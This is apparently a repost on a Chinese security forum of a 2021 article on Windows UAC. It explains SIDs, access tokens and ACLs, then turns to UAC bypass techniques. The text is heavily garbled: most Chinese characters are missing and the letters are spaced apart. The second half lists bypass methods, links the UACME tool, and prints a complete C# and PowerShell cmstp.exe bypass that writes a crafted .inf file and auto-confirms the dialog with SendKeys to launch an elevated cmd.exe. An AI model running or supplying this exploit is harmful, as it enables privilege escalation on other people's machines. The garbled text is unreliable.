[20538] 2021-03-04_windowsUAC浅谈及绕过

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2021-03-04_windowsUAC浅谈及绕过 w i n d o w s   U A C   K h a n   2 0 2 1 - 0 3 - 0 4   T e a m   P o l a r   b e a r 0 x 0 0   w i n d o w s   7 w i n d o w s U A C U s e r   A c c o u n t   C o n t r o l U A C 便 b y p a s s   U A C 0 x 0 1   U A C U A C w i n d o w s 7 w i n d o w s 访 ( W i n d o w s U A C ) U A C   , U A C 1 .   2 .   3 .   U A C   T e a m   .   稿
U A C U A C 1 .   4 1 S I D S I D 2 D A C L 访 3 S A C L 访 4 F l a g 2 .   S I D S e c u r e   I d e n t i f i e r ( ) S I D S I D 5 0 0 A d m i n i s t r a t o r 5 0 1 G u e s t 5 0 2 K r b t g t 5 1 2 D o m a i n   A d m i n s 5 1 3 D o m a i n   U s e r s 5 1 5 D o m a i n   C o m p u t e r s 5 1 6 D o m a i n   C o n t r o l l e r s 5 1 9 E n t e r p r i s e   A d m i n s 3 .   w i n d o w s   t o k e n W i n d o w s 访 访 线 A C L A C E 访 访 A C E S I D 访 访 4 .   W i n d o w s   A c c e s s   T o k e n 访 线 A c c e s s   T o k e n T o k e n 线 使 A B 使 A c c e s s   T o k e n ( ) ( D e l e g a t i o n   t o k e n ) ( ) ( l m p e r s o n a t i o n   t o k e n ) ( n e t   u s e r 访 ) e x p l o r e r . e x e A c c e s s   T o k e n 使 5 .   A c c o u n t   S I D 1 G r o u p   S I D
2 L o g o n   S I D 3 p r i v i l e g e s   a d m i n i s t r a t o r ( u s e r ) 6 .   A C L 访 1 D A C L 访 2 S A C L 7 .   A C E 访 / 访 1 u s e r   o r   g r o u p   S I D 2 A c c e s s   M a s k   o b j e c t   访 3 A C E   F l a g   4 A C E   T y p e   A l l o w   o r   D e n y 8 .   w i n d o w s 访
  a c c e s s T o k e n A c c e s s T o k e n   c o p y 访 s e c u r a b l e   o b j e c t   a c c e s s T o k e n p r e v i l a g e s   访 s e c u r a b l e   o b j e c t D A C L 线 访 D A C L D A C L A C E A C E S I D 线 A c c e s s T k o e n 访 U s e r   S I D G r o u p   S I D 访 D A C L D E N Y A C E 访 A L L O W E D A C E 访 访 9 .   使 w h o a m i   / p r i v
U A C w i n d o w s   u p d a t e U A C A c t i v e X U A C   U A C   c o n s e n t . e x e c m d l i n e L P C a p p i n f o R A i L u a n c h A d m i n P r o c e s s c o n s e n t . e x e U A C U A C U A C S Y S T E M C r e a t e P r o c e s s A s U s e r 0 x 0 2   b y p a s s   U A C   b y p a s s   u a c   W u s a . e x e   B y p a s s   U A C i n f D e f a u l t . e x e   B y p a s s   U A C c m s t p , e x e   B y p a s s   U A C C O M D L L w i n d o w s   1 U A C M E
h t t p s : / / g i t h u b . c o m / h f i r e f 0 x / U A C M E   6 6 b y p a s s   U a c V S 2 0 1 9 S D K R e l e a s e x 6 4 A k a g i M e t h o d s U A C M e t h o d A k a t s u k i W O W 6 4   l o g g e r U A C d l l F u b u k i U A C D L L 使 O l e 3 2 . d l l H i b i k i A V R F U A C d l l I k a z u c h i   c o m c t l 3 2 . d l l   U A C d l l I n a z u m a S H I M U A C E X E K a m i k a z e M M C M S C K o n g o u H y b r i d U A C D l l N a k a Y u u b a r i U A C A K a g i 6 4 使 Y u u b a r i U a c I n f o 6 4 . e x e , U A C C O M l o g a k a g i 3 2   4 1 6 1 a k a g i 6 4   4 1 6 1 4 1 6 1 R E A D M E c m d
2 B y p a s s   U A C b y p a s s   U A C U A C   " c m s t p . e x e " U A C h t t p s : / / g i s t . g i t h u b . c o m / t y l e r a p p l e b a u m / a e 8 c b 3 8 e d 8 3 1 4 5 1 8 d 9 5 b 2 e 3 2 a 6 f 0 d 3 f 1 # f i l e - u a c b y p a s s c m s t p - p s 1 1 6 U A C B y p a s s C M S T P . p s 1 c m d C : W i n d o w s S y s t e m 3 2 c m d . e x e
使 C # D L L p o w e r s h e l l u s i n g   S y s t e m ; u s i n g   S y s t e m . T e x t ; u s i n g   S y s t e m . I O ; u s i n g   S y s t e m . D i a g n o s t i c s ; u s i n g   S y s t e m . C o m p o n e n t M o d e l ; u s i n g   S y s t e m . W i n d o w s ; u s i n g   S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s ; p u b l i c   c l a s s   C M S T P B y p a s s {         p u b l i c   s t a t i c   s t r i n g   I n f D a t a   =   @ " [ v e r s i o n ] S i g n a t u r e = $ c h i c a g o $ A d v a n c e d I N F = 2 . 5 [ D e f a u l t I n s t a l l ] C u s t o m D e s t i n a t i o n = C u s t I n s t D e s t S e c t i o n A l l U s e r s R u n P r e S e t u p C o m m a n d s = R u n P r e S e t u p C o m m a n d s S e c t i o n [ R u n P r e S e t u p C o m m a n d s S e c t i o n ] ;   C o m m a n d s   H e r e   w i l l   b e   r u n   B e f o r e   S e t u p   B e g i n s   t o   i n s t a l l R E P L A C E _ C O M M A N D _ L I N E t a s k k i l l   / I M   c m s t p . e x e   / F [ C u s t I n s t D e s t S e c t i o n A l l U s e r s ] 4 9 0 0 0 , 4 9 0 0 1 = A l l U S e r _ L D I D S e c t i o n ,   7 [ A l l U S e r _ L D I D S e c t i o n ] " " H K L M " " ,   " " S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n A p p   P a t h s C M M G R 3 2 . E X E " " ,   " " P r o f i l e I n s t a l l P a t h " " ,   " " % U n e x p e c t e d E r r o r % " " ,   " " " " [ S t r i n g s ] S e r v i c e N a m e = " " C o r p V P N " " S h o r t S v c N a m e = " " C o r p V P N " "
" ;         [ D l l I m p o r t ( " u s e r 3 2 . d l l " ) ]   p u b l i c   s t a t i c   e x t e r n   b o o l   S h o w W i n d o w ( I n t P t r   h W n d ,   i n t   n C m d S h o w ) ;         [ D l l I m p o r t ( " u s e r 3 2 . d l l " ,   S e t L a s t E r r o r   =   t r u e ) ]   p u b l i c   s t a t i c   e x t e r n   b o o l   S e t F o r e g r o u n d W i n d o w ( I n t P t r   h W n d ) ;         p u b l i c   s t a t i c   s t r i n g   B i n a r y P a t h   =   " c : w i n d o w s s y s t e m 3 2 c m s t p . e x e " ;         / * . i n f U A C * /         p u b l i c   s t a t i c   s t r i n g   S e t I n f F i l e ( s t r i n g   C o m m a n d T o E x e c u t e )         {                 s t r i n g   R a n d o m F i l e N a m e   =   P a t h . G e t R a n d o m F i l e N a m e ( ) . S p l i t ( C o n v e r t . T o C h a r ( " . " ) ) [ 0 ] ;                 s t r i n g   T e m p o r a r y D i r   =   " C : w i n d o w s t e m p " ;                 S t r i n g B u i l d e r   O u t p u t F i l e   =   n e w   S t r i n g B u i l d e r ( ) ;                 O u t p u t F i l e . A p p e n d ( T e m p o r a r y D i r ) ;                 O u t p u t F i l e . A p p e n d ( " " ) ;                 O u t p u t F i l e . A p p e n d ( R a n d o m F i l e N a m e ) ;                 O u t p u t F i l e . A p p e n d ( " . i n f " ) ;                 S t r i n g B u i l d e r   n e w I n f D a t a   =   n e w   S t r i n g B u i l d e r ( I n f D a t a ) ;                 n e w I n f D a t a . R e p l a c e ( " R E P L A C E _ C O M M A N D _ L I N E " ,   C o m m a n d T o E x e c u t e ) ;                 F i l e . W r i t e A l l T e x t ( O u t p u t F i l e . T o S t r i n g ( ) ,   n e w I n f D a t a . T o S t r i n g ( ) ) ;                 r e t u r n   O u t p u t F i l e . T o S t r i n g ( ) ;         }         p u b l i c   s t a t i c   b o o l   E x e c u t e ( s t r i n g   C o m m a n d T o E x e c u t e )         {                 i f ( ! F i l e . E x i s t s ( B i n a r y P a t h ) )                 {                         C o n s o l e . W r i t e L i n e ( " C o u l d   n o t   f i n d   c m s t p . e x e   b i n a r y ! " ) ;                         r e t u r n   f a l s e ;                 }                 S t r i n g B u i l d e r   I n f F i l e   =   n e w   S t r i n g B u i l d e r ( ) ;                 I n f F i l e . A p p e n d ( S e t I n f F i l e ( C o m m a n d T o E x e c u t e ) ) ;                 C o n s o l e . W r i t e L i n e ( " P a y l o a d   f i l e   w r i t t e n   t o   "   +   I n f F i l e . T o S t r i n g ( ) ) ;                 P r o c e s s S t a r t I n f o   s t a r t I n f o   =   n e w   P r o c e s s S t a r t I n f o ( B i n a r y P a t h ) ;                 s t a r t I n f o . A r g u m e n t s   =   " / a u   "   +   I n f F i l e . T o S t r i n g ( ) ;                 s t a r t I n f o . U s e S h e l l E x e c u t e   =   f a l s e ;                 P r o c e s s . S t a r t ( s t a r t I n f o ) ;                 I n t P t r   w i n d o w H a n d l e   =   n e w   I n t P t r ( ) ;                 w i n d o w H a n d l e   =   I n t P t r . Z e r o ;                 d o   {                         w i n d o w H a n d l e   =   S e t W i n d o w A c t i v e ( " c m s t p " ) ;                 }   w h i l e   ( w i n d o w H a n d l e   = =   I n t P t r . Z e r o ) ;                 S y s t e m . W i n d o w s . F o r m s . S e n d K e y s . S e n d W a i t ( " { E N T E R } " ) ;                 r e t u r n   t r u e ;         }         p u b l i c   s t a t i c   I n t P t r   S e t W i n d o w A c t i v e ( s t r i n g   P r o c e s s N a m e )
" s o u r c e . c s " 使 p o w e r s h e l l p o w e r s h e l l c m s t p - B y p a s s U A C . d l l d l l c m d         {                 P r o c e s s [ ]   t a r g e t   =   P r o c e s s . G e t P r o c e s s e s B y N a m e ( P r o c e s s N a m e ) ;                 i f ( t a r g e t . L e n g t h   = =   0 )   r e t u r n   I n t P t r . Z e r o ;                 t a r g e t [ 0 ] . R e f r e s h ( ) ;                 I n t P t r   W i n d o w H a n d l e   =   n e w   I n t P t r ( ) ;                 W i n d o w H a n d l e   =   t a r g e t [ 0 ] . M a i n W i n d o w H a n d l e ;                 i f ( W i n d o w H a n d l e   = =   I n t P t r . Z e r o )   r e t u r n   I n t P t r . Z e r o ;                 S e t F o r e g r o u n d W i n d o w ( W i n d o w H a n d l e ) ;                 S h o w W i n d o w ( W i n d o w H a n d l e ,   5 ) ;                 r e t u r n   W i n d o w H a n d l e ;         } } A d d - T y p e   - T y p e D e f i n i t i o n   ( [ I O . F i l e ] : : R e a d A l l T e x t ( " $ p w d S o u r c e . c s " ) )   - R e f e r e n c e d A s s e m b l i e s   " S y s t e m . W i n d o w s . F o r m s "   - O u t p u t A s s e m b l y   " c m s t p - B y p a s s U A C . d l l " [ R e f l e c t i o n . A s s e m b l y ] : : L o a d ( [ I O . F i l e ] : : R e a d A l l B y t e s ( " $ p w d c m s t p - B y p a s s U A C . d l l " ) ) [ C M S T P B y p a s s ] : : E x e c u t e ( " C : W i n d o w s S y s t e m 3 2 c m d . e x e " )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则